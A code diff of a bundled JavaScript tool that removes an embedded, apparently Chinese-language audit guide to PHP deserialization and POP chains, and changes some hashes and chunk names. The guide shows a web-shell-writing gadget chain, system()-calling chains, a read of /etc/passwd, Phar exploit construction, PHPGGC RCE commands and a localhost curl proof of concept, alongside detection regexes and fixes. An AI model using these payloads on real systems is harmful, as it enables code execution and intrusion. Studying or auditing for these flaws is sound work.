47570
|
-
`,
|
|
47571
|
-
"knowledge/languages/php_deserialization.md": `# PHP Deserialization & POP Chains
|
|
47572
|
-
|
|
47573
|
-
> PHP \u53CD\u5E8F\u5217\u5316\u6F0F\u6D1E\u6DF1\u5EA6\u5BA1\u8BA1\u6A21\u5757
|
|
47574
|
-
> \u8986\u76D6: unserialize, Phar, POP Chains, \u6846\u67B6\u7279\u5B9A\u6F0F\u6D1E
|
|
47575
|
-
|
|
47576
|
-
---
|
|
47577
|
-
|
|
47578
|
-
## Overview
|
|
47579
|
-
|
|
47580
|
-
PHP \u53CD\u5E8F\u5217\u5316\u6F0F\u6D1E\u901A\u8FC7 \`unserialize()\` \u51FD\u6570\u89E6\u53D1\uFF0C\u5229\u7528\u9B54\u672F\u65B9\u6CD5\u94FE (POP Chain) \u5B9E\u73B0\u4EE3\u7801\u6267\u884C\u3002\u4E0E Python \u4E0D\u540C\uFF0CPHP \u9700\u8981\u76EE\u6807\u4EE3\u7801\u4E2D\u5B58\u5728\u53EF\u7528\u7684 Gadget \u7C7B\u3002
|
|
47581
|
-
|
|
47582
|
-
---
|
|
47583
|
-
|
|
47584
|
-
## \u6838\u5FC3\u539F\u7406
|
|
47585
|
-
|
|
47586
|
-
### 1. \u9B54\u672F\u65B9\u6CD5
|
|
47587
|
-
|
|
47588
|
-
\`\`\`php
|
|
47589
|
-
// \u53CD\u5E8F\u5217\u5316\u81EA\u52A8\u89E6\u53D1
|
|
47590
|
-
__wakeup() // \u53CD\u5E8F\u5217\u5316\u65F6\u8C03\u7528 (PHP < 7.4 \u53EF\u7ED5\u8FC7)
|
|
47591
|
-
__destruct() // \u5BF9\u8C61\u9500\u6BC1\u65F6\u8C03\u7528
|
|
47592
|
-
__toString() // \u5BF9\u8C61\u88AB\u5F53\u4F5C\u5B57\u7B26\u4E32\u65F6\u8C03\u7528
|
|
47593
|
-
__call() // \u8C03\u7528\u4E0D\u5B58\u5728\u7684\u65B9\u6CD5\u65F6
|
|
47594
|
-
__callStatic() // \u8C03\u7528\u4E0D\u5B58\u5728\u7684\u9759\u6001\u65B9\u6CD5\u65F6
|
|
47595
|
-
__get() // \u8BBF\u95EE\u4E0D\u5B58\u5728\u7684\u5C5E\u6027\u65F6
|
|
47596
|
-
__set() // \u8BBE\u7F6E\u4E0D\u5B58\u5728\u7684\u5C5E\u6027\u65F6
|
|
47597
|
-
__isset() // \u5BF9\u4E0D\u5B58\u5728\u5C5E\u6027\u8C03\u7528 isset() \u65F6
|
|
47598
|
-
__unset() // \u5BF9\u4E0D\u5B58\u5728\u5C5E\u6027\u8C03\u7528 unset() \u65F6
|
|
47599
|
-
__invoke() // \u5BF9\u8C61\u88AB\u5F53\u4F5C\u51FD\u6570\u8C03\u7528\u65F6
|
|
47600
|
-
|
|
47601
|
-
// \u653B\u51FB\u94FE\u5E38\u7528\u5165\u53E3
|
|
47602
|
-
__destruct() \u2192 \u6587\u4EF6\u64CD\u4F5C/\u547D\u4EE4\u6267\u884C
|
|
47603
|
-
__toString() \u2192 \u6587\u4EF6\u8BFB\u53D6/\u5199\u5165
|
|
47604
|
-
__wakeup() \u2192 \u521D\u59CB\u5316\u5229\u7528
|
|
47605
|
-
__call() \u2192 \u65B9\u6CD5\u8C03\u7528\u94FE
|
|
47606
|
-
\`\`\`
|
|
47607
|
-
|
|
47608
|
-
### 2. \u5E8F\u5217\u5316\u683C\u5F0F
|
|
47609
|
-
|
|
47610
|
-
\`\`\`
|
|
47611
|
-
\u5E8F\u5217\u5316\u683C\u5F0F\u8BF4\u660E:
|
|
47612
|
-
O:4:"User":2:{s:4:"name";s:5:"admin";s:3:"age";i:25;}
|
|
47613
|
-
\u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2502
|
|
47614
|
-
\u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2514\u2500 \u503C
|
|
47615
|
-
\u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2514\u2500 \u7C7B\u578B:\u957F\u5EA6
|
|
47616
|
-
\u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2514\u2500 \u5C5E\u6027\u540D
|
|
47617
|
-
\u2502 \u2502 \u2502 \u2502 \u2502 \u2514\u2500 \u7C7B\u578B:\u957F\u5EA6
|
|
47618
|
-
\u2502 \u2502 \u2502 \u2502 \u2514\u2500 \u5C5E\u6027\u6570\u91CF
|
|
47619
|
-
\u2502 \u2502 \u2502 \u2514\u2500 \u7C7B\u540D
|
|
47620
|
-
\u2502 \u2502 \u2514\u2500 \u7C7B\u540D\u957F\u5EA6
|
|
47621
|
-
\u2502 \u2514\u2500 Object \u7C7B\u578B
|
|
47622
|
-
\u2514\u2500 \u7C7B\u578B\u6807\u8BC6
|
|
47623
|
-
|
|
47624
|
-
\u7C7B\u578B\u6807\u8BC6:
|
|
47625
|
-
b - boolean (b:1;)
|
|
47626
|
-
i - integer (i:123;)
|
|
47627
|
-
d - double (d:1.5;)
|
|
47628
|
-
s - string (s:5:"hello";)
|
|
47629
|
-
a - array (a:2:{i:0;s:1:"a";i:1;s:1:"b";})
|
|
47630
|
-
O - object (O:4:"User":1:{s:4:"name";s:5:"admin";})
|
|
47631
|
-
N - null (N;)
|
|
47632
|
-
R - reference (R:2;)
|
|
47633
|
-
r - reference (r:2;)
|
|
47634
|
-
\`\`\`
|
|
47635
|
-
|
|
47636
|
-
### 3. \u5C5E\u6027\u8BBF\u95EE\u4FEE\u9970\u7B26
|
|
47637
|
-
|
|
47638
|
-
\`\`\`php
|
|
47639
|
-
// public \u5C5E\u6027
|
|
47640
|
-
O:4:"Test":1:{s:4:"name";s:5:"value";}
|
|
47641
|
-
|
|
47642
|
-
// protected \u5C5E\u6027 (\u524D\u7F00 \\x00*\\x00)
|
|
47643
|
-
O:4:"Test":1:{s:7:"\\x00*\\x00name";s:5:"value";}
|
|
47644
|
-
// URL \u7F16\u7801: s:7:"%00*%00name";
|
|
47645
|
-
|
|
47646
|
-
// private \u5C5E\u6027 (\u524D\u7F00 \\x00ClassName\\x00)
|
|
47647
|
-
O:4:"Test":1:{s:10:"\\x00Test\\x00name";s:5:"value";}
|
|
47648
|
-
// URL \u7F16\u7801: s:10:"%00Test%00name";
|
|
47649
|
-
\`\`\`
|
|
47650
|
-
|
|
47651
|
-
---
|
|
47652
|
-
|
|
47653
|
-
## POP Chain \u6784\u9020
|
|
47654
|
-
|
|
47655
|
-
### 1. \u57FA\u7840 POP Chain \u793A\u4F8B
|
|
47656
|
-
|
|
47657
|
-
\`\`\`php
|
|
47658
|
-
// \u76EE\u6807\u7C7B
|
|
47659
|
-
class FileHandler {
|
|
47660
|
-
public $filename;
|
|
47661
|
-
public $content;
|
|
47662
|
-
|
|
47663
|
-
public function __destruct() {
|
|
47664
|
-
file_put_contents($this->filename, $this->content);
|
|
47665
|
-
}
|
|
47666
|
-
}
|
|
47667
|
-
|
|
47668
|
-
// \u5229\u7528
|
|
47669
|
-
$obj = new FileHandler();
|
|
47670
|
-
$obj->filename = '/var/www/html/shell.php';
|
|
47671
|
-
$obj->content = '<?php system($_GET["cmd"]); ?>';
|
|
47672
|
-
echo serialize($obj);
|
|
47673
|
-
|
|
47674
|
-
// O:11:"FileHandler":2:{s:8:"filename";s:25:"/var/www/html/shell.php";s:7:"content";s:31:"<?php system($_GET["cmd"]); ?>";}
|
|
47675
|
-
\`\`\`
|
|
47676
|
-
|
|
47677
|
-
### 2. \u591A\u7C7B\u94FE\u5F0F\u8C03\u7528
|
|
47678
|
-
|
|
47679
|
-
\`\`\`php
|
|
47680
|
-
// \u5165\u53E3\u7C7B
|
|
47681
|
-
class Logger {
|
|
47682
|
-
public $handler;
|
|
47683
|
-
|
|
47684
|
-
public function __destruct() {
|
|
47685
|
-
$this->handler->close(); // \u89E6\u53D1 __call
|
|
47686
|
-
}
|
|
47687
|
-
}
|
|
47688
|
-
|
|
47689
|
-
// \u4E2D\u95F4\u7C7B
|
|
47690
|
-
class Proxy {
|
|
47691
|
-
public $target;
|
|
47692
|
-
public $method;
|
|
47693
|
-
|
|
47694
|
-
public function __call($name, $args) {
|
|
47695
|
-
return call_user_func([$this->target, $this->method]);
|
|
47696
|
-
}
|
|
47697
|
-
}
|
|
47698
|
-
|
|
47699
|
-
// \u7EC8\u70B9\u7C7B
|
|
47700
|
-
class Command {
|
|
47701
|
-
public $cmd;
|
|
47702
|
-
|
|
47703
|
-
public function execute() {
|
|
47704
|
-
system($this->cmd);
|
|
47705
|
-
}
|
|
47706
|
-
}
|
|
47707
|
-
|
|
47708
|
-
// \u6784\u9020 POP Chain
|
|
47709
|
-
$cmd = new Command();
|
|
47710
|
-
$cmd->cmd = 'id';
|
|
47711
|
-
|
|
47712
|
-
$proxy = new Proxy();
|
|
47713
|
-
$proxy->target = $cmd;
|
|
47714
|
-
$proxy->method = 'execute';
|
|
47715
|
-
|
|
47716
|
-
$logger = new Logger();
|
|
47717
|
-
$logger->handler = $proxy;
|
|
47718
|
-
|
|
47719
|
-
echo serialize($logger);
|
|
47720
|
-
\`\`\`
|
|
47721
|
-
|
|
47722
|
-
### 3. __toString \u5229\u7528
|
|
47723
|
-
|
|
47724
|
-
\`\`\`php
|
|
47725
|
-
class Template {
|
|
47726
|
-
public $file;
|
|
47727
|
-
|
|
47728
|
-
public function __toString() {
|
|
47729
|
-
return file_get_contents($this->file);
|
|
47730
|
-
}
|
|
47731
|
-
}
|
|
47732
|
-
|
|
47733
|
-
class Display {
|
|
47734
|
-
public $template;
|
|
47735
|
-
|
|
47736
|
-
public function __destruct() {
|
|
47737
|
-
echo $this->template; // \u89E6\u53D1 __toString
|
|
47738
|
-
}
|
|
47739
|
-
}
|
|
47740
|
-
|
|
47741
|
-
// \u8BFB\u53D6\u654F\u611F\u6587\u4EF6
|
|
47742
|
-
$tpl = new Template();
|
|
47743
|
-
$tpl->file = '/etc/passwd';
|
|
47744
|
-
|
|
47745
|
-
$display = new Display();
|
|
47746
|
-
$display->template = $tpl;
|
|
47747
|
-
|
|
47748
|
-
echo serialize($display);
|
|
47749
|
-
\`\`\`
|
|
47750
|
-
|
|
47751
|
-
---
|
|
47752
|
-
|
|
47753
|
-
## __wakeup \u7ED5\u8FC7
|
|
47754
|
-
|
|
47755
|
-
### CVE-2016-7124 (PHP < 5.6.25, < 7.0.10)
|
|
47756
|
-
|
|
47757
|
-
\`\`\`php
|
|
47758
|
-
// \u5F53\u5C5E\u6027\u6570\u91CF\u5927\u4E8E\u5B9E\u9645\u6570\u91CF\u65F6\uFF0C__wakeup \u4E0D\u4F1A\u88AB\u8C03\u7528
|
|
47759
|
-
class Bypass {
|
|
47760
|
-
public $cmd = 'id';
|
|
47761
|
-
|
|
47762
|
-
public function __wakeup() {
|
|
47763
|
-
$this->cmd = 'safe'; // \u6E05\u7406\u6076\u610F\u6570\u636E
|
|
47764
|
-
}
|
|
47765
|
-
|
|
47766
|
-
public function __destruct() {
|
|
47767
|
-
system($this->cmd);
|
|
47768
|
-
}
|
|
47769
|
-
}
|
|
47770
|
-
|
|
47771
|
-
// \u6B63\u5E38\u5E8F\u5217\u5316
|
|
47772
|
-
O:6:"Bypass":1:{s:3:"cmd";s:2:"id";}
|
|
47773
|
-
|
|
47774
|
-
// \u7ED5\u8FC7 __wakeup (\u5C5E\u6027\u6570 1 \u6539\u4E3A 2)
|
|
47775
|
-
O:6:"Bypass":2:{s:3:"cmd";s:2:"id";}
|
|
47776
|
-
\`\`\`
|
|
47777
|
-
|
|
47778
|
-
---
|
|
47779
|
-
|
|
47780
|
-
## Phar \u53CD\u5E8F\u5217\u5316
|
|
47781
|
-
|
|
47782
|
-
### 1. \u539F\u7406
|
|
47783
|
-
|
|
47784
|
-
\`\`\`php
|
|
47785
|
-
// Phar \u6587\u4EF6\u7684 metadata \u5728\u8BFB\u53D6\u65F6\u81EA\u52A8\u53CD\u5E8F\u5217\u5316
|
|
47786
|
-
// \u65E0\u9700 unserialize() \u51FD\u6570
|
|
47787
|
-
|
|
47788
|
-
// \u89E6\u53D1\u51FD\u6570 (\u6587\u4EF6\u64CD\u4F5C\u51FD\u6570)
|
|
47789
|
-
file_exists()
|
|
47790
|
-
file_get_contents()
|
|
47791
|
-
file_put_contents()
|
|
47792
|
-
file()
|
|
47793
|
-
fopen()
|
|
47794
|
-
include() / require()
|
|
47795
|
-
is_dir() / is_file()
|
|
47796
|
-
copy()
|
|
47797
|
-
unlink()
|
|
47798
|
-
stat()
|
|
47799
|
-
filemtime()
|
|
47800
|
-
filesize()
|
|
47801
|
-
// ... \u7B49 50+ \u4E2A\u51FD\u6570
|
|
47802
|
-
\`\`\`
|
|
47803
|
-
|
|
47804
|
-
### 2. Phar \u6587\u4EF6\u6784\u9020
|
|
47805
|
-
|
|
47806
|
-
\`\`\`php
|
|
47807
|
-
<?php
|
|
47808
|
-
class Exploit {
|
|
47809
|
-
public $cmd = 'id';
|
|
47810
|
-
|
|
47811
|
-
public function __destruct() {
|
|
47812
|
-
system($this->cmd);
|
|
47813
|
-
}
|
|
47814
|
-
}
|
|
47815
|
-
|
|
47816
|
-
// \u751F\u6210 Phar \u6587\u4EF6
|
|
47817
|
-
$phar = new Phar("exploit.phar");
|
|
47818
|
-
$phar->startBuffering();
|
|
47819
|
-
$phar->setStub("<?php __HALT_COMPILER(); ?>");
|
|
47820
|
-
|
|
47821
|
-
$payload = new Exploit();
|
|
47822
|
-
$phar->setMetadata($payload); // \u6076\u610F\u5BF9\u8C61\u5B58\u5165 metadata
|
|
47823
|
-
|
|
47824
|
-
$phar->addFromString("test.txt", "test");
|
|
47825
|
-
$phar->stopBuffering();
|
|
47826
|
-
?>
|
|
47827
|
-
\`\`\`
|
|
47828
|
-
|
|
47829
|
-
### 3. \u89E6\u53D1\u65B9\u5F0F
|
|
47830
|
-
|
|
47831
|
-
\`\`\`php
|
|
47832
|
-
// \u4F7F\u7528 phar:// \u534F\u8BAE\u89E6\u53D1
|
|
47833
|
-
file_exists('phar://uploads/exploit.phar/test.txt');
|
|
47834
|
-
file_get_contents('phar://uploads/exploit.phar');
|
|
47835
|
-
include('phar://uploads/exploit.phar/autoload.php');
|
|
47836
|
-
|
|
47837
|
-
// \u7ED5\u8FC7\u6269\u5C55\u540D\u68C0\u6D4B (Phar \u53EF\u4F2A\u88C5\u4E3A\u4EFB\u610F\u6269\u5C55\u540D)
|
|
47838
|
-
$phar = 'phar://uploads/avatar.gif'; // \u5B9E\u9645\u662F Phar \u6587\u4EF6
|
|
47839
|
-
file_exists($phar); // \u89E6\u53D1\u53CD\u5E8F\u5217\u5316
|
|
47840
|
-
\`\`\`
|
|
47841
|
-
|
|
47842
|
-
### 4. Phar \u7B7E\u540D\u7ED5\u8FC7
|
|
47843
|
-
|
|
47844
|
-
\`\`\`php
|
|
47845
|
-
// Phar \u6587\u4EF6\u7ED3\u6784
|
|
47846
|
-
// Stub + Manifest + Contents + Signature
|
|
47847
|
-
|
|
47848
|
-
// \u7B7E\u540D\u7C7B\u578B
|
|
47849
|
-
// 0x0001: MD5
|
|
47850
|
-
// 0x0002: SHA1
|
|
47851
|
-
// 0x0003: SHA256
|
|
47852
|
-
// 0x0004: SHA512
|
|
47853
|
-
|
|
47854
|
-
// \u4FEE\u6539 metadata \u540E\u9700\u8981\u91CD\u65B0\u8BA1\u7B97\u7B7E\u540D
|
|
47855
|
-
\`\`\`
|
|
47856
|
-
|
|
47857
|
-
---
|
|
47858
|
-
|
|
47859
|
-
## \u6846\u67B6 POP Chains
|
|
47860
|
-
|
|
47861
|
-
### Laravel
|
|
47862
|
-
|
|
47863
|
-
\`\`\`php
|
|
47864
|
-
// Laravel \u5DF2\u77E5 Gadget Chains (PHPGGC)
|
|
47865
|
-
|
|
47866
|
-
// RCE via PendingBroadcast
|
|
47867
|
-
// Laravel 5.5 - 5.8
|
|
47868
|
-
Illuminate\\Broadcasting\\PendingBroadcast
|
|
47869
|
-
\u2192 Illuminate\\Bus\\Dispatcher
|
|
47870
|
-
\u2192 system() / exec()
|
|
47871
|
-
|
|
47872
|
-
// RCE via PendingCommand
|
|
47873
|
-
// Laravel 5.4 - 7.x
|
|
47874
|
-
Illuminate\\Foundation\\Testing\\PendingCommand
|
|
47875
|
-
\u2192 Illuminate\\Container\\Container
|
|
47876
|
-
\u2192 call_user_func()
|
|
47877
|
-
|
|
47878
|
-
// \u4F7F\u7528 PHPGGC \u751F\u6210
|
|
47879
|
-
./phpggc Laravel/RCE1 system id
|
|
47880
|
-
./phpggc Laravel/RCE2 'system' 'id'
|
|
47881
|
-
\`\`\`
|
|
47882
|
-
|
|
47883
|
-
### Symfony
|
|
47884
|
-
|
|
47885
|
-
\`\`\`php
|
|
47886
|
-
// Symfony POP Chains
|
|
47887
|
-
|
|
47888
|
-
// RCE via ProcessPipes
|
|
47889
|
-
// Symfony 2.x - 4.x
|
|
47890
|
-
Symfony\\Component\\Process\\Pipes\\WindowsPipes
|
|
47891
|
-
\u2192 Symfony\\Component\\Cache\\Adapter\\TagAwareAdapter
|
|
47892
|
-
\u2192 system()
|
|
47893
|
-
|
|
47894
|
-
// \u4F7F\u7528 PHPGGC
|
|
47895
|
-
./phpggc Symfony/RCE1 system id
|
|
47896
|
-
\`\`\`
|
|
47897
|
-
|
|
47898
|
-
### Yii
|
|
47899
|
-
|
|
47900
|
-
\`\`\`php
|
|
47901
|
-
// Yii2 POP Chain
|
|
47902
|
-
// yii2 2.0.0 - 2.0.38
|
|
47903
|
-
|
|
47904
|
-
// \u5165\u53E3: BatchQueryResult::__destruct()
|
|
47905
|
-
// \u94FE\u8DEF: ... \u2192 call_user_func()
|
|
47906
|
-
|
|
47907
|
-
./phpggc Yii2/RCE1 system id
|
|
47908
|
-
\`\`\`
|
|
47909
|
-
|
|
47910
|
-
### ThinkPHP
|
|
47911
|
-
|
|
47912
|
-
\`\`\`php
|
|
47913
|
-
// ThinkPHP 5.x POP Chain
|
|
47914
|
-
|
|
47915
|
-
// \u5165\u53E3: think\\process\\pipes\\Windows::__destruct()
|
|
47916
|
-
// \u94FE\u8DEF: removeFiles() \u2192 file_exists() \u2192 __toString()
|
|
47917
|
-
// \u2192 toJson() \u2192 __call() \u2192 call_user_func()
|
|
47918
|
-
|
|
47919
|
-
// ThinkPHP 6.x
|
|
47920
|
-
// \u5165\u53E3: League\\Flysystem\\Cached\\Storage\\AbstractCache::__destruct()
|
|
47921
|
-
\`\`\`
|
|
47922
|
-
|
|
47923
|
-
### WordPress
|
|
47924
|
-
|
|
47925
|
-
\`\`\`php
|
|
47926
|
-
// WordPress \u6838\u5FC3\u8F83\u5C11 POP Chain
|
|
47927
|
-
// \u4F46\u63D2\u4EF6\u53EF\u80FD\u5F15\u5165
|
|
47928
|
-
|
|
47929
|
-
// WooCommerce
|
|
47930
|
-
// Elementor
|
|
47931
|
-
// \u7B49\u63D2\u4EF6\u53EF\u80FD\u5B58\u5728
|
|
47932
|
-
\`\`\`
|
|
47933
|
-
|
|
47934
|
-
---
|
|
47935
|
-
|
|
47936
|
-
## \u68C0\u6D4B\u89C4\u5219
|
|
47937
|
-
|
|
47938
|
-
### 1. \u5371\u9669\u51FD\u6570
|
|
47939
|
-
|
|
47940
|
-
\`\`\`regex
|
|
47941
|
-
# unserialize \u68C0\u6D4B
|
|
47942
|
-
unserialize\\s*\\(.*\\$_(GET|POST|REQUEST|COOKIE)
|
|
47943
|
-
unserialize\\s*\\(.*file_get_contents
|
|
47944
|
-
unserialize\\s*\\([^)]*\\$[a-zA-Z_]
|
|
47945
|
-
|
|
47946
|
-
# Phar \u89E6\u53D1\u51FD\u6570
|
|
47947
|
-
(file_exists|file_get_contents|file|fopen|include|require)\\s*\\(.*phar://
|
|
47948
|
-
(is_dir|is_file|copy|unlink|stat)\\s*\\(.*\\$
|
|
47949
|
-
|
|
47950
|
-
# \u5E8F\u5217\u5316\u6570\u636E\u7279\u5F81
|
|
47951
|
-
['"](O|a|s):[0-9]+:
|
|
47952
|
-
\`\`\`
|
|
47953
|
-
|
|
47954
|
-
### 2. \u5371\u9669\u7C7B\u7279\u5F81
|
|
47955
|
-
|
|
47956
|
-
\`\`\`regex
|
|
47957
|
-
# \u5371\u9669\u9B54\u672F\u65B9\u6CD5
|
|
47958
|
-
function\\s+__destruct\\s*\\(.*\\{[^}]*(system|exec|passthru|shell_exec|eval|file_put_contents|unlink)
|
|
47959
|
-
function\\s+__wakeup\\s*\\(
|
|
47960
|
-
function\\s+__toString\\s*\\(.*\\{[^}]*file_get_contents
|
|
47961
|
-
|
|
47962
|
-
# \u5371\u9669\u65B9\u6CD5\u8C03\u7528
|
|
47963
|
-
call_user_func(_array)?\\s*\\(\\s*\\$
|
|
47964
|
-
\\$[a-zA-Z_]+\\s*\\(\\s*\\$ # \u52A8\u6001\u51FD\u6570\u8C03\u7528
|
|
47965
|
-
\`\`\`
|
|
47966
|
-
|
|
47967
|
-
---
|
|
47968
|
-
|
|
47969
|
-
## \u5BA1\u8BA1\u6E05\u5355
|
|
47970
|
-
|
|
47971
|
-
\`\`\`
|
|
47972
|
-
[ ] \u641C\u7D22\u6240\u6709 unserialize() \u8C03\u7528
|
|
47973
|
-
[ ] \u68C0\u67E5\u53CD\u5E8F\u5217\u5316\u6570\u636E\u6765\u6E90\u662F\u5426\u53EF\u63A7
|
|
47974
|
-
[ ] \u641C\u7D22\u53EF\u7528\u7684 Gadget \u7C7B (__destruct, __wakeup, __toString \u7B49)
|
|
47975
|
-
[ ] \u68C0\u67E5\u6587\u4EF6\u64CD\u4F5C\u51FD\u6570\u662F\u5426\u63A5\u53D7\u7528\u6237\u8F93\u5165\u8DEF\u5F84
|
|
47976
|
-
[ ] \u68C0\u67E5\u662F\u5426\u5B58\u5728 Phar \u53CD\u5E8F\u5217\u5316\u89E6\u53D1\u70B9
|
|
47977
|
-
[ ] \u68C0\u67E5\u6846\u67B6\u7248\u672C\uFF0C\u5BF9\u7167\u5DF2\u77E5 POP Chain
|
|
47978
|
-
[ ] \u4F7F\u7528 PHPGGC \u6D4B\u8BD5\u5DF2\u77E5 Gadget
|
|
47979
|
-
[ ] \u68C0\u67E5 __wakeup \u662F\u5426\u53EF\u7ED5\u8FC7 (PHP \u7248\u672C)
|
|
47980
|
-
[ ] \u68C0\u67E5 Phar \u6587\u4EF6\u4E0A\u4F20\u70B9
|
|
47981
|
-
\`\`\`
|
|
47982
|
-
|
|
47983
|
-
---
|
|
47984
|
-
|
|
47985
|
-
## \u68C0\u6D4B\u547D\u4EE4
|
|
47986
|
-
|
|
47987
|
-
\`\`\`bash
|
|
47988
|
-
# unserialize \u68C0\u6D4B
|
|
47989
|
-
grep -rn "unserialize\\s*(" --include="*.php"
|
|
47990
|
-
|
|
47991
|
-
# \u5371\u9669\u9B54\u672F\u65B9\u6CD5
|
|
47992
|
-
grep -rn "function\\s*__destruct\\|function\\s*__wakeup\\|function\\s*__toString" --include="*.php"
|
|
47993
|
-
|
|
47994
|
-
# Phar \u76F8\u5173
|
|
47995
|
-
grep -rn "phar://\\|new Phar\\|setMetadata" --include="*.php"
|
|
47996
|
-
|
|
47997
|
-
# \u6587\u4EF6\u64CD\u4F5C + \u7528\u6237\u8F93\u5165
|
|
47998
|
-
grep -rn "file_exists\\|file_get_contents" --include="*.php" | grep "\\$_"
|
|
47999
|
-
|
|
48000
|
-
# \u52A8\u6001\u51FD\u6570\u8C03\u7528
|
|
48001
|
-
grep -rn "call_user_func\\|call_user_func_array" --include="*.php"
|
|
48002
|
-
|
|
48003
|
-
# \u4F7F\u7528 PHPGGC \u5217\u51FA\u53EF\u7528\u94FE
|
|
48004
|
-
./phpggc -l | grep "Laravel\\|Symfony\\|ThinkPHP\\|Yii"
|
|
48005
|
-
\`\`\`
|
|
48006
|
-
|
|
48007
|
-
---
|
|
48008
|
-
|
|
48009
|
-
## \u5B89\u5168\u4FEE\u590D
|
|
48010
|
-
|
|
48011
|
-
### 1. \u7981\u7528 unserialize
|
|
48012
|
-
|
|
48013
|
-
\`\`\`php
|
|
48014
|
-
// \u4F7F\u7528 JSON \u66FF\u4EE3
|
|
48015
|
-
$data = json_decode($input, true);
|
|
48016
|
-
|
|
48017
|
-
// \u5982\u5FC5\u987B\u4F7F\u7528\uFF0C\u9650\u5236\u5141\u8BB8\u7684\u7C7B
|
|
48018
|
-
$data = unserialize($input, ['allowed_classes' => ['SafeClass']]);
|
|
48019
|
-
|
|
48020
|
-
// \u5B8C\u5168\u7981\u6B62\u7C7B\u5B9E\u4F8B\u5316
|
|
48021
|
-
$data = unserialize($input, ['allowed_classes' => false]);
|
|
48022
|
-
\`\`\`
|
|
48023
|
-
|
|
48024
|
-
### 2. \u7B7E\u540D\u9A8C\u8BC1
|
|
48025
|
-
|
|
48026
|
-
\`\`\`php
|
|
48027
|
-
function secure_serialize($data, $key) {
|
|
48028
|
-
$serialized = serialize($data);
|
|
48029
|
-
$signature = hash_hmac('sha256', $serialized, $key);
|
|
48030
|
-
return base64_encode($signature . '|' . $serialized);
|
|
48031
|
-
}
|
|
48032
|
-
|
|
48033
|
-
function secure_unserialize($data, $key, $allowed_classes) {
|
|
48034
|
-
$decoded = base64_decode($data);
|
|
48035
|
-
list($signature, $serialized) = explode('|', $decoded, 2);
|
|
48036
|
-
|
|
48037
|
-
$expected = hash_hmac('sha256', $serialized, $key);
|
|
48038
|
-
if (!hash_equals($expected, $signature)) {
|
|
48039
|
-
throw new Exception('Invalid signature');
|
|
48040
|
-
}
|
|
48041
|
-
|
|
48042
|
-
return unserialize($serialized, ['allowed_classes' => $allowed_classes]);
|
|
48043
|
-
}
|
|
48044
|
-
\`\`\`
|
|
48045
|
-
|
|
48046
|
-
### 3. \u7981\u7528 Phar
|
|
48047
|
-
|
|
48048
|
-
\`\`\`php
|
|
48049
|
-
// php.ini
|
|
48050
|
-
phar.readonly = On
|
|
48051
|
-
|
|
48052
|
-
// \u4EE3\u7801\u5C42\u9762\u8FC7\u6EE4
|
|
48053
|
-
$path = str_replace(['phar://', 'PHAR://'], '', $path);
|
|
48054
|
-
|
|
48055
|
-
// \u6216\u68C0\u67E5\u534F\u8BAE
|
|
48056
|
-
if (preg_match('/^phar:/i', $path)) {
|
|
48057
|
-
throw new Exception('Phar protocol not allowed');
|
|
48058
|
-
}
|
|
48059
|
-
\`\`\`
|
|
48060
|
-
|
|
48061
|
-
---
|
|
48062
|
-
|
|
48063
|
-
## \u53C2\u8003\u8D44\u6E90
|
|
48064
|
-
|
|
48065
|
-
- [PHPGGC](https://github.com/ambionics/phpggc)
|
|
48066
|
-
- [PHP Object Injection](https://owasp.org/www-community/vulnerabilities/PHP_Object_Injection)
|
|
48067
|
-
- [Phar Deserialization](https://blog.ripstech.com/2018/new-php-exploitation-technique/)
|
|
48068
|
-
|
|
48069
|
-
---
|
|
48070
|
-
|
|
48071
|
-
## \u6700\u5C0F PoC \u793A\u4F8B
|
|
48072
|
-
\`\`\`bash
|
|
48073
|
-
# PHPGGC \u751F\u6210\u94FE
|
|
48074
|
-
phpggc Laravel/RCE1 system id | base64 > payload.txt
|
|
48075
|
-
curl -X POST http://localhost/api -d @payload.txt
|
|
48076
|
-
|
|
48077
|
-
# Phar \u89E6\u53D1
|
|
48078
|
-
php -d phar.readonly=0 -r '$phar=new Phar("p.phar"); $phar->addFromString("test","test"); $phar->setStub("<?php __HALT_COMPILER(); ?>");'
|
|
48079
|
-
curl "http://localhost/index.php?file=phar://./p.phar/test"
|
|
48080
|
-
\`\`\`
|
|
48081
|
-
|
|
48082
|
-
---
|
|
48083
|
-
|
|
48084
|
-
**\u6700\u540E\u66F4\u65B0**: 2026-01-23
|
|
48085
|
-
**\u7248\u672C**: 1.0.0
|
|
48086
47570
|
`,
|
|
48087
47571
|
"knowledge/languages/java_xxe.md": `# Java XXE (XML External Entity) - XXE \u6F0F\u6D1E\u5B8C\u6574\u5BA1\u8BA1\u89C4\u5219
|
|
48088
47572
|
|
|
@@ -78489,8 +77973,8 @@ detection \u5047\u8BBE\u9519\u8BEF\u4E0D\u53EF\u63A5\u53D7\uFF0C\u4F46\u4E1A\u52
|
|
|
78489
77973
|
}
|
|
78490
77974
|
};
|
|
78491
77975
|
SKILL_VERSIONS = {
|
|
78492
|
-
"security-review": "
|
|
78493
|
-
review: "
|
|
77976
|
+
"security-review": "627a3e3c9b2dfa5d7f16e0f828db5e80bcaebb18",
|
|
77977
|
+
review: "627a3e3c9b2dfa5d7f16e0f828db5e80bcaebb18"
|
|
78494
77978
|
};
|
|
78495
77979
|
});
|
|
78496
77980
|
|
|
@@ -78564,5 +78048,5 @@ var init_review = __esm(() => {
|
|
|
78564
78048
|
|
|
78565
78049
|
export { exports_extension, init_review };
|
|
78566
78050
|
|
|
78567
|
-
//# debugId=
|
|
78568
|
-
//# sourceMappingURL=chunk-
|
|
78051
|
+
//# debugId=E98B94DE08491E4B64756E2164756E21
|
|
78052
|
+
//# sourceMappingURL=chunk-v9c0rpa4.js.map
|
|
@@ -9,7 +9,7 @@ import {
|
|
|
9
9
|
reinitialize1PEventLoggingIfConfigChanged,
|
|
10
10
|
shouldSampleEvent,
|
|
11
11
|
shutdown1PEventLogging
|
|
12
|
-
} from "./chunk-
|
|
12
|
+
} from "./chunk-t55pghx5.js";
|
|
13
13
|
import"./chunk-fs34dpdm.js";
|
|
14
14
|
import"./chunk-9dwdn2sk.js";
|
|
15
15
|
import"./chunk-zwarn9h7.js";
|
|
@@ -21,7 +21,7 @@ import"./chunk-pe9b769s.js";
|
|
|
21
21
|
import"./chunk-64c1avct.js";
|
|
22
22
|
import"./chunk-8g5pe1gr.js";
|
|
23
23
|
import"./chunk-nq504fa3.js";
|
|
24
|
-
import"./chunk-
|
|
24
|
+
